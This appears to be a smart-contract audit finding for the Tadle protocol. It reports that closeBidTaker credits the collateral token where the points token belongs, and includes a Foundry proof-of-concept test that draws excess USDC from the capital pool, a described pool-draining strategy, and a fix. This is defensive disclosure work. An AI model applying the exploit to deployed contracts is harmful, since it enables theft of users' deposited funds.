Relevant Github Link
https://github.com/Cyfrin/2024-08-tadle/blob/04fd8634701697184a3f3a5558b41c109866e5f8/src/core/DeliveryPlace.sol#L96
Summary
The function DeliveryPlace::closeBidTaker is designed to close a bid order, return the remaining collateral fee of the bid taker and distributed collateral from the ask maker due to failure in fully settlement, and distribute the settled points token. However, the function erroneously assigns the collateral token address instead of the points token address.
Vulnerability Details
In the function DeliveryPlace::closeBidTaker, the address of the collateral token is mistakenly used as the points token address. This issue occurs in the line where the points token balance is updated, as highlighted in the code snippet below.
function closeBidTaker(address _stock) external {
IPerMarkets perMarkets = tadleFactory.getPerMarkets();
ITokenManager tokenManager = tadleFactory.getTokenManager();
StockInfo memory stockInfo = perMarkets.getStockInfo(_stock);
if (stockInfo.preOffer == address(0x0)) {
revert InvalidStock();
}
if (stockInfo.stockType == StockType.Ask) {
revert InvalidStockType();
}
if (_msgSender() != stockInfo.authority) {
revert Errors.Unauthorized();
}
(
OfferInfo memory preOfferInfo,
MakerInfo memory makerInfo,
@> ,
) = getOfferInfo(stockInfo.preOffer);
OfferInfo memory offerInfo;
uint256 userRemainingPoints;
if (makerInfo.offerSettleType == OfferSettleType.Protected) {/
offerInfo = preOfferInfo;
userRemainingPoints = stockInfo.points;
} else {
offerInfo = perMarkets.getOfferInfo(makerInfo.originOffer);
if (stockInfo.offer == address(0x0)) {
userRemainingPoints = stockInfo.points;
} else {
OfferInfo memory listOfferInfo = perMarkets.getOfferInfo(
stockInfo.offer
);
userRemainingPoints =
listOfferInfo.points -
listOfferInfo.usedPoints;
}
}
if (userRemainingPoints == 0) {
revert InsufficientRemainingPoints();
}
if (offerInfo.offerStatus != OfferStatus.Settled) {
revert InvalidOfferStatus();
}
if (stockInfo.stockStatus != StockStatus.Initialized) {
revert InvalidStockStatus();
}
uint256 collateralFee;
if (offerInfo.usedPoints > offerInfo.settledPoints) {
if (offerInfo.offerStatus == OfferStatus.Virgin) {
collateralFee = OfferLibraries.getDepositAmount(
offerInfo.offerType,
offerInfo.collateralRate,
offerInfo.amount,
true,
Math.Rounding.Floor
);
} else {
uint256 usedAmount = offerInfo.amount.mulDiv(
offerInfo.usedPoints,
offerInfo.points,
Math.Rounding.Floor
);
collateralFee = OfferLibraries.getDepositAmount(
offerInfo.offerType,
offerInfo.collateralRate,
usedAmount,
true,
Math.Rounding.Floor
);
}
}
uint256 userCollateralFee = collateralFee.mulDiv(
userRemainingPoints,
offerInfo.usedPoints,
Math.Rounding.Floor
);
tokenManager.addTokenBalance(
TokenBalanceType.RemainingCash,
_msgSender(),
makerInfo.tokenAddress,
userCollateralFee
);
uint256 pointTokenAmount = offerInfo.settledPointTokenAmount.mulDiv(
userRemainingPoints,
offerInfo.usedPoints,
Math.Rounding.Floor
);
tokenManager.addTokenBalance(
TokenBalanceType.PointToken,
_msgSender(),
@> makerInfo.tokenAddress,
pointTokenAmount
);
perMarkets.updateStockStatus(_stock, StockStatus.Finished);
emit CloseBidTaker(
makerInfo.marketPlace,
offerInfo.maker,
_stock,
_msgSender(),
userCollateralFee,
pointTokenAmount
);
}
POC
copy and paste the code below to file PreMartkets.t.sol and run it.
function test_close_bid_taker() public{
vm.prank(user1);
systemConfig.updateMarket(
"Backpack",
address(mockPointToken),
0.01 * 1e18,
block.timestamp + 1,
3600
);
vm.startPrank(user);
preMarktes.createOffer(CreateOfferParams(
marketPlace,
address(mockUSDCToken),
2,
1,
12000,
300,
OfferType.Ask,
OfferSettleType.Turbo
));
preMarktes.createOffer(CreateOfferParams(
marketPlace,
address(mockUSDCToken),
1000,
0.01 * 1e18,
12000,
300,
OfferType.Ask,
OfferSettleType.Turbo
));
address stockAddr0 = GenerateAddress.generateStockAddress(0);
address offerAddr0 = GenerateAddress.generateOfferAddress(0);
address stockAddr1 = GenerateAddress.generateStockAddress(1);
address offerAddr1 = GenerateAddress.generateOfferAddress(1);
vm.stopPrank();
vm.startPrank(user2);
uint256 balanceBefore = mockUSDCToken.balanceOf(user2);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
preMarktes.createTaker(offerAddr0, 2);
vm.stopPrank();
vm.startPrank(user3);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
preMarktes.createTaker(offerAddr1, 1000);
vm.stopPrank();
uint256 capitalPoolBalanceBefore = mockUSDCToken.balanceOf(address(capitalPool));
vm.warp(block.timestamp + 2);
vm.startPrank(user);
mockPointToken.approve(address(tokenManager), type(uint256).max);
deliveryPlace.settleAskMaker(offerAddr0, 2);
vm.stopPrank();
uint256 pointTokenBalanceBefore = mockPointToken.balanceOf(user2);
address stockAddr2 = GenerateAddress.generateStockAddress(2);
vm.startPrank(user2);
capitalPool.approve(address(mockUSDCToken));
deliveryPlace.closeBidTaker(stockAddr2);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.PointToken);
uint256 pointTokenBalanceAfter = mockPointToken.balanceOf(user2);
uint256 balanceAfter = mockUSDCToken.balanceOf(user2);
uint256 capitalPoolBalanceAfter = mockUSDCToken.balanceOf(address(capitalPool));
console2.log("capital pool balance before: ", capitalPoolBalanceBefore);
console2.log("capital pool balance after: ", capitalPoolBalanceAfter);
console2.log("USDC balance before: ", balanceBefore);
console2.log("USDC balance after: ", balanceAfter);
console2.log("point token balance Before: ", pointTokenBalanceBefore);
console2.log("point token balance After: ", pointTokenBalanceAfter);
}
Impact
• Likelihood: High
This error will always result in the wrong token address being used when the function is executed.
• Impact: High
The collateral token is erroneously sent to the taker instead of the points token. As a result, takers who invoke this function earlier could receive more collateral tokens, and no points tokens, which may drain the collateral pool. Conversely, takers who invoke this function later might be unable to retrieve their collateral as earlier callers may have depleted the pool. If marketInfoPlace.tokenPerPoint is set higher than offerInfo.amount / offerInfo.points, the taker will receive more collateral tokens. Consequently, if the offer maker makes large amount of offer with low offerInfo.amount and uses another address to accept these offers, the maker can drain the collateral pool after invoking this function.
As shown in the POC, the original balance of USDC of user2 is 100 000 000 000 000 000 000 000 000 before taking the offer. And after DeliveryPlace:: closeBidTaker is called, the balance becomes 100 000 000 019 999 999 999 999 999. Only 1 wei of USDC token was sent to the protocol in the process.
Tools Used
Manual Review
Recommendations
(
OfferInfo memory preOfferInfo,
MakerInfo memory makerInfo,
++ MarketInfo memory marketInfo,
) = getOfferInfo(stockInfo.preOffer);
tokenManager.addTokenBalance(
TokenBalanceType.PointToken,
_msgSender(),
++ marketInfo.tokenAddress,
-- makerInfo.tokenAddress,
pointTokenAmount
);
